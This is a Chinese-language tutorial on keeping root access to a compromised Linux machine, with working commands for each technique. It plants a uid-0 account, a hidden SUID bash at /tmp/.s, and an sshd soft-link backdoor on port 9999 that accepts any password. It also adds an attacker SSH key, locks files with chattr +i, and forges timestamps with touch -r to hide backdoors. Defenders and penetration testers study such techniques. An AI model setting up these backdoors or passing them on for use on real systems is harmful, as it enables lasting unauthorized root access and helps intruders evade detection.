Linux权限维持
在攻击者利用漏洞获取到某台机器的控制权限之后,会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。
特权账户
在Linux中uid为0的用户是以最高权限访问系统,通过修改passwd文件。用户可以获得root权限
操作演示
创建一个普通用户直接修改/etc/passwd下 用户uid=0
使用低权限用户切换登录,为root权限
suid后门
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
suid shell 是可以以shell所有者权限运行的shell
SUID后门的必要条件:
- 首先SUID权限仅对二进制程序有效;
- 执行者必须对这个程序有可执行的权限;
- 本权限仅在执行该程序的过程中有效;
- 在执行过程中执行者将具有该程序拥有者的权限
操作演示
将root用户下的bin/bash目录复制到tmp目录下的s目录中
cp /bin/bash /tmp/.s
chmod 4755 /tmp/.s
切换一个低权限用户,权限不够不能访问
执行这个suid后门文件
./.s 主要bash2 针对suid有一些防护,所以需要加上-p参数来获取一个root的shell。
执行查看etc下shadow
SSH软链接
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。
操作演示
这个操作仅限服务器持续开机状态下进行连接,如果关机了,那么这个后门就无法再次使用了。
查看是否开启pam身份验证
cat /etc/ssh/sshd_config|grep UsePAM
建立软链接
这里建立软连接后,需要将防火墙的端口开放,如果防火墙是关闭的就无所谓了
ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上
firewall-cmd --reload
#重启防火墙服务
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行
测试
ssh root@192.168.10.60 -p 9999 ##-p 后面这个是端口
这里后面的9999是端口,进去随便输入一些密码就可以登录进去了。
SSH公钥
利用密钥生成器制作一对密钥即公钥和私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。
操作演示
整个流程就是在本地的一台Linux的服务器上生成一个密钥,然后将公密钥上传到目标主机上,然后再使用本地去连接目标主机,就实现无需密码连接。但是缺点也有,太容易被发现了。
攻击机生成密钥
ssh-keygen -t rsa #三次回车
id_rsa : 私钥
id_rsa.pub : 公钥
上传目标机器
这里将攻击机中的公钥中的内容复制到authorized_keys中。如果本地没有这个文件那就创建一个
测试登录
这里直接去登录就会发现是不需要使用密码验证的,其实在kali去连接目标主机的时候就已经进行了密钥验证。
ssh root@192.168.0.106
chattr修改文件属性
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用Is -是查看不出来的,从而达到隐藏权限的目的。
a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除
操作演示
添加 +i 属性后 root用户也不能进行删除和修改 想要取消锁定 -i就行
chattr +i alen.py
修改文件时间戳
linux下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了
操作演示
使用stat命令来查看文件具体的时间戳
stat 文件名
修改时间戳
直接利用 touch -r alen.elf cs 将第一个文件的时间赋予给第二个文件